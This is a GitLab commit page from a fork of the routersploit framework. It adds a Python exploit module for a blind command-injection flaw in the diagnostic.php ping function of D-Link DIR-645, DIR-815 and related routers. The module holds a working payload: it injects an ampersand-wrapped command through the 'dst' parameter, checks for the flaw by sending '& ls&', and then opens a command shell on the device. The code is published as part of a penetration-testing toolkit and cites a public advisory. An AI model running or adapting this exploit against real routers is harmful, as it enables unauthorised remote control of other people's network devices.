Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
e3a9952d
Commit
e3a9952d
authored
Jun 29, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding multiple rce exploit for multiple dlink devices.
parent
3e39991e
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
77 additions
and
0 deletions
+77
-0
dir_645_815_rce.py
routersploit/modules/exploits/dlink/dir_645_815_rce.py
+77
-0
No files found.
routersploit/modules/exploits/dlink/dir_645_815_rce.py
0 → 100644
View file @
e3a9952d
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
http_request
,
mute
,
validators
,
shell
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for D-Link DIR-645 and DIR-815 Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands on the device.
"""
__info__
=
{
'name'
:
'D-Link DIR-645 & DIR-815 RCE'
,
'description'
:
'Module exploits D-Link DIR-645 and DIR-815 Remote Code Execution vulnerability which allows executing command on the device.'
,
'authors'
:
[
'Michael Messner <devnull[at]s3cur1ty.de>'
,
# Vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'http://www.s3cur1ty.de/m1adv2013-017'
,
],
'devices'
:
[
'DIR-815 v1.03b02'
,
'DIR-645 v1.02'
,
'DIR-645 v1.03'
,
'DIR-600 below v2.16b01'
,
'DIR-300 revB v2.13b01'
,
'DIR-300 revB v2.14b01'
,
'DIR-412 Ver 1.14WWB02'
,
'DIR-456U Ver 1.00ONG'
,
'DIR-110 Ver 1.01'
,
]
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"It is blind command injection, response is not available"
)
shell
(
self
,
architecture
=
"mipsel"
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
def
execute
(
self
,
cmd
):
cmd
=
"
%26
{}
%26
"
.
format
(
cmd
.
replace
(
"&"
,
"
%26
"
))
url
=
"{}:{}/diagnostic.php"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
"Content-Type"
:
"application/x-www-form-urlencoded; charset=UTF-8"
}
data
=
"act=ping&dst={}"
.
format
(
cmd
)
http_request
(
method
=
"POST"
,
url
=
url
,
headers
=
headers
,
data
=
data
)
return
""
@mute
def
check
(
self
):
url
=
"{}:{}/diagnostic.php"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
"Content-Type"
:
"application/x-www-form-urlencoded; charset=UTF-8"
}
data
=
{
"act"
:
"ping"
,
"dst"
:
"& ls&"
}
response
=
http_request
(
method
=
"POST"
,
url
=
url
,
headers
=
headers
,
data
=
data
)
if
response
is
None
:
return
False
# target is not vulnerable
if
response
.
status_code
==
200
and
"<report>OK</report>"
in
response
.
text
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment